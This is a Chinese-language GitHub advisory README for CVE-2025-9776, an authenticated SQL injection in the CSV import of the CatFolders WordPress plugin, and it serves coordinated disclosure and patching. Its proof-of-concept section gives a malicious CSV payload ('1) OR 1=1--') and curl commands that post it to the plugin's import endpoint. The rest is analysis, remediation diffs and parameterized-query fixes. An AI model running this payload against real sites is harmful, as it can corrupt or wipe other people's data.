SnailSploit/CVE-2025-9776
GitHub: SnailSploit/CVE-2025-9776
针对 WordPress CatFolders 插件 CSV 导入功能中认证 SQL 注入漏洞(CVE-2025-9776)的 PoC、技术分析与修复方案。
Stars: 0 | Forks: 1
# CVE-2025-9776:CatFolders WordPress 插件中的认证 SQL 注入漏洞
[](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-9776)
[](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator)
[](https://wordpress.org/plugins/catfolders/)
[](https://cwe.mitre.org/data/definitions/89.html)
[](https://www.wordfence.com/)
## 目录
- [概述](#overview)
- [漏洞详情](#vulnerability-details)
- [技术分析](#technical-details)
- [概念验证](#proof-of-concept)
- [修复指南](#remediation)
- [CVSS 指标](#cvss-v31-metrics)
- [参考链接](#references)
- [安全联系](#contact)
## 概述
在 CatFolders WordPress 插件中发现了一个认证 SQL 注入漏洞,该漏洞允许作者级别的用户通过恶意 CSV 导入来操纵数据库查询。
**发现者:** Kai Aizen (SnailSploit)
**发布年份:** 2025
**CVSS 评分:** 6.5(中危)
**CWE:** CWE-89 - SQL 注入
## 漏洞详情
### 描述
CatFolders – Tame Your WordPress Media Library by Category 插件的 CSV 导入功能中存在一个认证 SQL 注入漏洞。用户提供的 CSV 中的 `attachments` 列被拆分为列表,并直接传递给 `FolderModel::set_attachments()`,该方法将这些值连接到原始的 SQL `IN (...)` 子句中,而没有进行适当的清理或参数化处理。
### 影响
此漏洞允许具有作者级别权限的已认证攻击者:
- 执行任意 SQL 查询
- 批量删除或操纵文件夹与附件的映射关系
- 根据有效载荷和数据库结构可能导致数据泄露
- 破坏数据库的完整性和可用性
### 受影响版本
- **易受攻击:** 所有 ≤ 2.5.2 的版本
- **已修补:** 2.5.3 及更高版本(请与供应商核实)
### CVSS v3.1 指标
```
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
```
| 指标 | 值 |
|--------|-------|
| 攻击途径 | 网络 (AV:N) |
| 攻击复杂度 | 低 (AC:L) |
| 所需权限 | 低 (PR:L) - 作者及以上 |
| 用户交互 | 无 (UI:N) |
| 范围 | 不变 (S:U) |
| 机密性 | 无 (C:N) |
| 完整性 | 低 (I:L) |
| 可用性 | 低 (A:L) |
## 技术详情
### 易受攻击的代码路径
该漏洞存在于 CSV 导入工作流中:
**文件:** `includes/Rest/Controllers/ImportController.php`
1. `import_csv` 方法解析上传的 CSV 时没有进行逐字段清理
2. `restore_folders()` 调用:
```
FolderModel::set_attachments(
$new_folder['id'],
explode(',', $folder['attachments']),
false
);
```
**文件:** `includes/Models/FolderModel.php`
3. `set_attachments()` 使用字符串拼接构建原始 SQL:
```
'raw' => 'post_id IN (' . $attachmentIds . ')'
```
4. 每个元素**没有**被强制转换为整数,也没有进行参数化处理,从而导致 SQL 注入
### 攻击途径
具有作者级别权限(`upload_files` 能力)的攻击者可以通过 CSV 导入端点注入恶意 SQL:
**恶意 CSV 有效载荷:**
```
id,name,attachments
1,Test Folder,"1) OR 1=1--"
```
**生成的易受攻击查询:**
```
SELECT folder_id FROM wp_catf_folder_posts
WHERE post_id IN (1) OR 1=1--)
```
这会破坏 `IN(...)` 子句并改变查询语义,可能会影响所有数据行。
### 前置条件
- 目标 WordPress 站点上的作者级别(或更高权限)账户
- 已安装并激活 CatFolders 插件
- 能够访问 REST API 导入端点
## 概念验证
### 第一步:发现 REST 命名空间
```
curl -s https://target.site/wp-json | jq -r '.routes | keys[]' | grep '/import-csv$'
```
典型结果:`/catf/v1/import-csv`
### 第二步:准备恶意 CSV
创建一个名为 `catf_inject.csv` 的文件:
```
id,name,attachments
1,Malicious Folder,"1) OR 1=1--"
```
### 第三步:执行攻击
```
NS="/catf/v1" # Replace with discovered namespace
curl -i \
-u 'author_user:APPLICATION_PASSWORD' \
-F "file=@catf_inject.csv;type=text/csv" \
-X POST "https://target.site/wp-json${NS}/import-csv"
```
**预期响应:**
```
{ "success": true }
```
### 影响演示
服务器构建并执行以下语句:
```
SELECT folder_id FROM wp_catf_folder_posts WHERE post_id IN (1) OR 1=1--)
```
这可能会执行超出预期范围的 DELETE/INSERT 操作,通常会清除整个数据库中的文件夹与附件关系。
### 安全测试环境
运行独立的 SQLite 模拟程序以安全地观察该漏洞:
```
python3 poc/catfolders_sql_poc.py
```
这会打印出易受攻击的查询,并演示恶意令牌如何返回所有行,而参数化版本则会正确地拒绝它。
## 修复
### 面向站点管理员
**需要立即采取的行动:**
1. 将 CatFolders 更新到 **2.5.3** 或更高版本
2. 审查具有作者级别或更高权限的用户账户
3. 检查数据库日志中受影响日期范围内的可疑查询
4. 检查文件夹与附件映射是否存在意外修改
### 面向开发者
**两个最小化的加固步骤:**
#### 1. 在调用模型之前清理 ID
```
- FolderModel::set_attachments( $new_folder['id'], explode(',', $folder['attachments']), false );
+ $ids = array_filter( array_map( 'intval', explode(',', $folder['attachments']) ) );
+ if ( ! empty( $ids ) ) {
+ FolderModel::set_attachments( (int) $new_folder['id'], $ids, false );
+ }
```
#### 2. 在 `set_attachments()` 内部强制使用整数
```
$imgIds = apply_filters( 'catf_attachment_ids_to_folder', $imgIds );
+ $imgIds = array_values( array_filter( array_map( 'intval', (array) $imgIds ) ) );
```
### 更强烈的建议
使用 WordPress 的 `$wpdb->prepare()` 将**所有**原始 SQL 拼接替换为参数化查询:
```
$placeholders = implode(',', array_fill(0, count($imgIds), '%d'));
$query = $wpdb->prepare(
"SELECT folder_id FROM {$wpdb->prefix}catf_folder_posts WHERE post_id IN ($placeholders)",
...$imgIds
);
```
**此外:**
- 在处理前严格验证所有 CSV 字段
- 在 API 层实现输入类型验证
- 为导入端点添加速率限制
- 记录所有导入操作以供审计追踪
### 补丁文件
完整的补丁可在 `patch/catfolders_fix.patch` 中找到
## 仓库结构
```
CVE-2025-9776/
├── README.md # This file
├── poc/
│ ├── catf_inject.csv # Malicious CSV payload
│ └── catfolders_sql_poc.py # Safe SQLite simulation
└── patch/
└── catfolders_fix.patch # Recommended fixes
```
## 时间线
- **发现日期:** 2025
- **供应商通知:** 通过 Wordfence 进行协调披露
- **公开披露:** 2025
- **补丁可用:** 2.5.3 版本
## 参考链接
- [MITRE CVE 条目](https://www.cve.org/CVERecord?id=CVE-2025-9776)
- [Wordfence 情报公告](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/catfolders/catfolders-tame-your-wordpress-media-library-by-category-252-authenticated-author-sql-injection-via-csv-import)
- [WordPress 插件目录](https://wordpress.org/plugins/catfolders/)
- [SnailSploit 研究](https://snailsploit.com)
## 致谢
**研究员:** Kai Aizen (SnailSploit)
**披露流程:** 通过 Wordfence 漏洞赏金计划进行协调
## 道德考量
**⚠️ 重要免责声明**
此概念验证**仅用于防御性研究和教育目的**。
### 使用指南
- ✅ **要:** 在您自己的系统上测试,或在获得明确书面授权的情况下使用
- ✅ **要:** 用于安全培训和意识提升
- ✅ **要:** 在您自己的代码中实施修复
- ❌ **不要:** 在未经许可的情况下对系统进行测试
- ❌ **不要:** 用于恶意目的
- ❌ **不要:** 在生产环境中利用此漏洞
### 法律声明
未经授权访问计算机系统在以下法律中属违法行为:
- 计算机欺诈和滥用法 (CFAA) - 美国
- 滥用计算机法 - 英国
- 其他司法管辖区的类似立法
**使用需自行承担风险。研究人员和 SnailSploit 对此信息的误用不承担任何责任。**
## 联系方式
如有关于此漏洞的问题或需要更多信息:
- **电子邮件:** kai@owasp.com
- **LinkedIn:** [linkedin.com/in/kaiaizen](https://linkedin.com/in/kaiaizen)
- **网站:** [snailsploit.com](https://snailsploit.com)
- **组织:** SnailSploit 安全研究
**保持安全,并让您的 WordPress 保持更新!**
*最后更新:2025 年 10 月 13 日*
## 📚 文档与作者
本项目的完整文章、研究方法和相关研究位于:
**[https://snailsploit.com/security-research/cves/cve-2025-9776/](https://snailsploit.com/security-research/cves/cve-2025-9776/)**
由 **Kai Aizen** 创建 —— 独立的攻防安全研究员。
[snailsploit.com](https://snailsploit.com) · [研究](https://snailsploit.com/research) · [框架](https://snailsploit.com/frameworks) · [GitHub](https://github.com/SnailSploit) · [LinkedIn](https://linkedin.com/in/kaiaizen) · [ResearchGate](https://www.researchgate.net/profile/Kai-Aizen-2) · [X/Twitter](https://x.com/SnailSploit)
标签:CatFolders, CISA项目, CSV导入漏洞, CVE-2025-9776, CVSS 6.5, CWE-89, PNNL实验室, POC, SnailSploit, Web安全, Wordfence, WordPress安全, WordPress插件漏洞, 多线程, 操作系统监控, 漏洞分析, 漏洞复现, 蓝队分析, 路径探测, 逆向工具